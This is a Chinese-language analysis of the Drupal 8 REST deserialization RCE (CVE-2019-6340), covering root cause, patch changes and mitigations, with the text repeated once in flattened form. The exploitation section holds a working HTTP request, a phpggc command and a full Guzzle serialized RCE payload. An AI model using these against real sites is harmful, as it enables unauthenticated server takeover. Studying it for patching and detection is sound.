Drupal 8 REST RCE
字数 1417 2025-08-29 08:31:53

Drupal 8 REST模块远程代码执行漏洞分析与利用

漏洞概述

Drupal 8的REST模块存在一个远程代码执行漏洞(CVE-2019-6340),该漏洞允许攻击者通过精心构造的HTTP请求在目标系统上执行任意代码。漏洞的核心在于REST模块对用户输入的反序列化处理不当,导致反序列化漏洞被利用。

漏洞影响

  • 影响版本:Drupal 8.6.9及以下版本
  • 模块要求:REST模块(默认禁用)
  • 认证要求:无需任何身份验证
  • 请求方法:GET/POST/PATCH/PUT均可触发

漏洞分析

漏洞根源

漏洞位于Drupal 8的REST模块中,当处理特定类型的请求时,系统会对用户提供的"options"参数进行不安全的反序列化操作。关键问题点包括:

  1. 不安全的反序列化:系统未对反序列化的类进行充分限制
  2. 请求方法限制不足:即使禁用POST/PATCH请求,仍可通过GET请求触发漏洞
  3. 输入验证不足:未对用户提供的序列化数据进行充分验证

补丁分析

Drupal 8.6.10通过以下方式修复了该漏洞:

  1. FieldItemNormalizer中引入了SerializedColumnNormalizerTrait trait
  2. 新增checkForSerializedStrings()方法,当检测到序列化字符串时会抛出异常
  3. 修改LinkItem类的反序列化方式,使用unserialize($values['options'], ['allowed_classes' => FALSE])限制可反序列化的类

漏洞利用

利用条件

  1. REST模块已启用(默认禁用)
  2. 存在可访问的节点API端点(如/node/{id})
  3. 目标系统使用了易受攻击的Guzzle库版本

利用步骤

  1. 构造恶意请求
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642

{
  "link": [
    {
      "value": "link",
      "options": "<SERIALIZED_PAYLOAD>"
    }
  ],
  "_links": {
    "type": {
      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}
  1. 生成Payload

使用PHPGGC工具生成Guzzle反序列化payload:

./phpggc guzzle/rce1 system id --json

示例生成的payload:

"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
  1. 发送恶意请求

将生成的payload插入到请求的"options"字段中发送。

利用注意事项

  1. Drupal会缓存响应,测试时可能需要清除缓存
  2. 即使REST配置中禁用了POST/PATCH请求,仍可通过GET请求触发漏洞
  3. 无需任何类型的身份验证

防护措施

  1. 立即升级:升级到Drupal 8.6.10或更高版本
  2. 禁用REST模块:如果不需要REST功能,完全禁用该模块
  3. 不完全的缓解措施
    • 仅禁用web服务中的PUT/PATCH/POST请求是不够的
    • 必须完全禁用REST模块或升级系统

技术细节

漏洞触发流程

  1. 攻击者发送包含恶意序列化数据的请求
  2. Drupal的REST模块处理请求并解析JSON数据
  3. 系统对"options"字段进行反序列化操作
  4. 恶意payload被反序列化,触发代码执行

关键代码分析

漏洞利用依赖于以下关键组件:

  1. FieldItemNormalizer:负责处理字段项的反序列化
  2. LinkItem:处理链接类型的字段,包含options参数
  3. Guzzle库:提供了可利用的反序列化gadget链

总结

Drupal 8 REST模块的远程代码执行漏洞是一个严重的安全问题,允许未经认证的攻击者在目标系统上执行任意代码。该漏洞的利用门槛相对较低,且影响范围广泛。建议所有使用Drupal 8的用户立即采取防护措施,最有效的方法是升级到最新版本或完全禁用REST模块。

Drupal 8 REST模块远程代码执行漏洞分析与利用 漏洞概述 Drupal 8的REST模块存在一个远程代码执行漏洞(CVE-2019-6340),该漏洞允许攻击者通过精心构造的HTTP请求在目标系统上执行任意代码。漏洞的核心在于REST模块对用户输入的反序列化处理不当,导致反序列化漏洞被利用。 漏洞影响 影响版本 :Drupal 8.6.9及以下版本 模块要求 :REST模块(默认禁用) 认证要求 :无需任何身份验证 请求方法 :GET/POST/PATCH/PUT均可触发 漏洞分析 漏洞根源 漏洞位于Drupal 8的REST模块中,当处理特定类型的请求时,系统会对用户提供的"options"参数进行不安全的反序列化操作。关键问题点包括: 不安全的反序列化 :系统未对反序列化的类进行充分限制 请求方法限制不足 :即使禁用POST/PATCH请求,仍可通过GET请求触发漏洞 输入验证不足 :未对用户提供的序列化数据进行充分验证 补丁分析 Drupal 8.6.10通过以下方式修复了该漏洞: 在 FieldItemNormalizer 中引入了 SerializedColumnNormalizerTrait trait 新增 checkForSerializedStrings() 方法,当检测到序列化字符串时会抛出异常 修改 LinkItem 类的反序列化方式,使用 unserialize($values['options'], ['allowed_classes' => FALSE]) 限制可反序列化的类 漏洞利用 利用条件 REST模块已启用(默认禁用) 存在可访问的节点API端点(如 /node/{id} ) 目标系统使用了易受攻击的Guzzle库版本 利用步骤 构造恶意请求 : 生成Payload : 使用PHPGGC工具生成Guzzle反序列化payload: 示例生成的payload: 发送恶意请求 : 将生成的payload插入到请求的"options"字段中发送。 利用注意事项 Drupal会缓存响应,测试时可能需要清除缓存 即使REST配置中禁用了POST/PATCH请求,仍可通过GET请求触发漏洞 无需任何类型的身份验证 防护措施 立即升级 :升级到Drupal 8.6.10或更高版本 禁用REST模块 :如果不需要REST功能,完全禁用该模块 不完全的缓解措施 : 仅禁用web服务中的PUT/PATCH/POST请求是不够的 必须完全禁用REST模块或升级系统 技术细节 漏洞触发流程 攻击者发送包含恶意序列化数据的请求 Drupal的REST模块处理请求并解析JSON数据 系统对"options"字段进行反序列化操作 恶意payload被反序列化,触发代码执行 关键代码分析 漏洞利用依赖于以下关键组件: FieldItemNormalizer :负责处理字段项的反序列化 LinkItem :处理链接类型的字段,包含options参数 Guzzle库 :提供了可利用的反序列化gadget链 总结 Drupal 8 REST模块的远程代码执行漏洞是一个严重的安全问题,允许未经认证的攻击者在目标系统上执行任意代码。该漏洞的利用门槛相对较低,且影响范围广泛。建议所有使用Drupal 8的用户立即采取防护措施,最有效的方法是升级到最新版本或完全禁用REST模块。